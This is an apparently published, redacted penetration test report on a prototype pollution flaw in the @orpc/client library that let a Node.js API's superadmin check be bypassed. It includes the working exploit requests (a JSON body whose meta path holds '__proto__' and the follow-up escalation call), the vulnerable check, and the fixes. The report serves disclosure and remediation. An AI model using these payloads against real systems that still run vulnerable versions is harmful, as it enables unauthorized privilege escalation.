zypher.co / reports / veraxis signed in · client link
Penetration test report

Veraxis

Pre-production API hardening
April 2026 Delivered 2026-04-30
Risk index
93
/ 100
Severity distribution
Critical
1
High
0
Medium
0
Low
0
Info
0
Executive summary

Veraxis engaged Zypher for a targeted pre-production security review of the platform's Node.js API. Testing turned up a single critical finding with sufficient reach to justify the whole engagement: a public prototype pollution CVE in the @orpc/client library reached user-controlled deserialization on an unauthenticated endpoint, which then leaked into every warm serverless container. From there, an attacker with any authenticated admin account could bypass the superadmin gate on the user management endpoint and modify any user's admin status, including their own.

The finding was reported, verified, and patched by upgrading the affected ORPC packages to a fixed version that added prototype key guards to the deserializer. No production data was affected because the vulnerable build was pre-production.

Engagement
Client
Veraxis
Target
Pre-production API (Vercel-hosted, redacted)
Scope
Authentication, authorization, and superadmin management flows
Window
April 2026
Status
Remediated; upgrade shipped
Redaction notice. The pre-production hostname, the actual superadmin flag name, and internal user identifiers have been genericized. The upstream library, CVE, package versions, sinks, and attack chain are unmodified.

Findings

1 total
01 Critical
Unauthenticated prototype pollution to superadmin escalation
Prototype Pollution · @orpc/client@1.7.2 · POST /api/auth/otp/send
9.3 closed +
Description

A public prototype pollution CVE in the @orpc/client library reached user-controlled deserialization on an unauthenticated endpoint, which then leaked into every warm serverless container.

Affected package: @orpc/client@1.7.2 (and sibling packages: @orpc/server, @orpc/react, @orpc/openapi-client, @orpc/openapi).

Vulnerable sink: StandardRPCJsonSerializer.deserialize(), missing Object.hasOwn() guards on meta path segments. Fixed version: @orpc/client@1.13.6. Fix commit: 1dba06fc6f938c2486de303c2fa096bc1c8418b5.

Impact

Any unauthenticated attacker can pollute Object.prototype on a Vercel serverless container. Any admin session running on the same warm container inherits the polluted isSuperAdmin: true.

An attacker with any admin account can escalate to superadmin and modify any user's admin status, including their own. Pollution persists for the lifetime of the Vercel container, which in practice is minutes to hours depending on warmth. No authentication or user interaction is required for the pollution step; the escalation step requires only ordinary admin access.

Remediation

The upstream library fix is the correct remediation and covers every downstream user of ORPC.

npm install \
  @orpc/client@1.13.6 \
  @orpc/server@1.13.6 \
  @orpc/react@1.13.6 \
  @orpc/openapi@1.13.9 \
  @orpc/openapi-client@1.13.6

Two application-side hardening items worth doing alongside the upgrade:

  • Store the superadmin flag with a default value on every user document. Prototype pollution only inherits when no own property exists. If isSuperAdmin: false is written on user creation, the gate stops reading from the prototype chain entirely.
  • Move the superadmin check to a value comparison rather than a truthiness check: context.user.isSuperAdmin === true. A polluted array or empty object still trips a bang check; strict equality against the literal true does not.
Evidence

Step 1: unauthenticated pollution. Veraxis's public OTP send procedure was reachable without authentication and passed its input through the vulnerable serializer. A single POST was enough to pollute Object.prototype on whichever serverless container handled the request.

POST /api/auth/otp/send HTTP/2
Content-Type: application/json

{
  "json": { "phone": "0400000000", "country": "AU", "x": {} },
  "meta": [[6, "x", "__proto__", "isSuperAdmin"]],
  "maps": []
}

Response, confirming pollution:

{
  "code": "INTERNAL_SERVER_ERROR",
  "isSuperAdmin": []
}

The unrelated isSuperAdmin key appearing on the error response object confirms that Object.prototype.isSuperAdmin was set for the lifetime of the process. Any object literal created on the same container afterwards inherits the polluted property whenever it does not carry its own value.

Step 2: superadmin gate bypass. Veraxis's user-admin update procedure gated the mutation behind a superadmin check:

if (!context.user.isSuperAdmin) {
  throw new ORPCError("FORBIDDEN", {
    message: "Only superadmins can change admin status"
  });
}

Escalation request, authenticated as any admin, same warm container:

POST /api/user/admin-update HTTP/2
Content-Type: application/json
Cookie: token=<admin_token>

{
  "json": { "userId": "000000000000000000000001", "isAdmin": true },
  "meta": [],
  "maps": []
}

Response:

{
  "code": "NOT_FOUND",
  "isSuperAdmin": []
}

NOT_FOUND means the request reached the database query layer. The previous FORBIDDEN that the gate produced no longer fires. The gate was bypassed. Any real user ID in the same request would have committed the write.

Root cause in the library

ORPC's JSON serializer accepted a meta array of path segments alongside the JSON payload, then walked the object using those path segments to place typed values back into the reconstructed object. The walk used bracket assignment against untrusted keys with no check for __proto__ or constructor. A crafted meta array that included one of those keys walked into Object.prototype instead of the payload.

The library-level fix in @orpc/client@1.13.6 introduces Object.hasOwn() guards inside the deserializer that throw on any __proto__ or constructor path segment before the assignment happens.

Verification

After the ORPC upgrade, the pollution request now returns an error before the deserializer walks the meta array, and the escalation request against a non-superadmin admin session correctly returns FORBIDDEN. Retesting was performed against the same pre-production build after deployment of the fix.

Timeline

DateEvent
Engagement kickoff and testing window
Critical finding identified and reported to Veraxis
ORPC upgrade shipped; retest confirmed remediation
Public release of redacted writeup
Retested & closed Delivered 2026-04-30 Published 2026-07-09
More reports →